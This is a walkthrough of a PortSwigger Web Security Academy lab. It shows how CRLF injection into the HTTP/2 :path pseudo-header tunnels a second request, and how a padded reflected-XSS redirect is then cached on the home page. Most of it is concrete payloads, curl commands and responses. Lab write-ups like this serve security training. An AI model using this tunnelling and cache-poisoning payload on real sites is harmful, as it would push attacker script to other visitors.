| Field | Details |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | HTTP/2 Request Tunnelling — :path Header Injection, Web Cache Poisoning |
| Difficulty | Expert |
| Objective | Poison the cache so the victim's browser executes alert(1) on the home page |
| Note | Victim visits the home page every 15 seconds. Cache TTL is 30 seconds. |
Web Cache Poisoning via HTTP/2 Request Tunnelling¶
Intercepting a request to / — the response has Cache-Control: max-age=30 and age incrementing by one each second:
The front-end doesn't reuse connections to the back-end, so classic smuggling is out. But HTTP/2 headers aren't consistently sanitized — that's the tunnelling entry point.
Trying the Inspector header name CRLF trick from the previous lab:
Name: \r\nTeto: teto\r\n\r\nGET /miku HTTP/1.1\r\nHost: ...\r\nMiku
Value: miku
Empty body in response — this server sanitizes header names. Different approach needed.
HTTP/2 uses pseudo-headers (:method, :path, :authority) that the front-end uses to reconstruct the HTTP/1 request line during downgrade. If :path isn't sanitized, injecting a newline into it can split the request line and inject additional headers or a second request.
Setting :path to:
/ HTTP/1.1
Teto:
The reconstructed HTTP/1 request becomes GET / HTTP/1.1\r\nTeto: HTTP/2 — the injected newline splits the path and creates a new header.
200 OK. Testing with /miku to force a 404:
/miku HTTP/1.1
Teto:
404 Not Found — the injection is working. Adding a full tunnelled request in the :path value and switching the outer method to HEAD:
/ HTTP/1.1
Teto: teto
GET /miku HTTP/1.1
Host: 0a20003c035fba94804536590037007d.web-security-academy.net
Proxy error — the front-end over-read and pulled in the tunnelled response, but the byte counts don't align. Checking page sizes with curl:
curl -s --head https://0a20003c035fba94804536590037007d.web-security-academy.net/
# content-length: 8674
curl -s --head https://0a20003c035fba94804536590037007d.web-security-academy.net/miku
# content-length: 11
/miku returns only 11 bytes but the outer HEAD expects 8674. We need the tunnelled response to be larger than the outer HEAD Content-Length, not smaller — otherwise the front-end stops reading before we see anything.
Checking post page sizes:
curl -s --head 'https://.../post?postId=2'
# content-length: 7260
curl -s --head 'https://.../post?postId=1'
# content-length: 8187
/post?postId=2 (7260 bytes) as the outer HEAD, tunnelling GET /post?postId=1 (8187 bytes) — the tunnelled response is larger, so the front-end over-reads and the extra bytes appear at the end of what we receive:
:path → /post?postId=2 HTTP/1.1
Teto: teto
GET /post?postId=1 HTTP/1.1
Host: 0a20003c035fba94804536590037007d.web-security-academy.net
HTTP/2 200 OK
Content-Length: 7260
HTTP/1.1 200 OK
Content-Length: 8187
The tunnelled response body appears nested inside the outer response, and it gets cached for 30 seconds. The mechanism works — now to make it execute JavaScript.
The server reflects path parameters in redirect Location headers. Testing:
GET /resources/labheader/js?<script>alert(0)</script> HTTP/2
HTTP/2 302 Found
Location: /resources/labheader/js/?<script>alert(0)</script>
The script tag is reflected unencoded in the Location header. If this redirect response gets nested inside the outer text/html response, the browser inherits the HTML content-type and executes the script.
Putting the XSS path in the tunnelled request:
/post?postId=2 HTTP/1.1
Teto: teto
GET /resources/labheader/js?<script>alert(0)</script> HTTP/1.1
Host: 0a20003c035fba94804536590037007d.web-security-academy.net
Server Error: Received only 174 of expected 7260 bytes of data — the redirect response is only 174 bytes, far smaller than the 7260 we need. The front-end stops reading early and errors.
To pad the tunnelled response, we add arbitrary characters to the injected path. The server reflects them back in the Location header, inflating the response size. Padding to at least 7260 bytes:
/post?postId=2 HTTP/1.1
Teto: teto
GET /resources/labheader/js?<script>alert(0)</script>TETOTETOTETOTETOTETOTETO(...) HTTP/1.1
Host: 0a20003c035fba94804536590037007d.web-security-academy.net
200 OK. Reloading the browser:
alert(0) fires — but only on /post?postId=2, not on the root. We need the poisoned cache entry on / itself.
The root has Content-Length: 8674. The tunnelled response (the padded redirect) needs to exceed that. Updating :path to target / as the outer HEAD and padding to 8674+ bytes:
/ HTTP/1.1
Teto: teto
GET /resources/labheader/js?<script>alert(1)</script>TETO(...8674+ bytes of padding) HTTP/1.1
Host: 0a20003c035fba94804536590037007d.web-security-academy.net
Teto: teto
Reloading / within the 30-second cache window — alert(1) fires.
The victim hits the poisoned cache entry and the lab solves x.x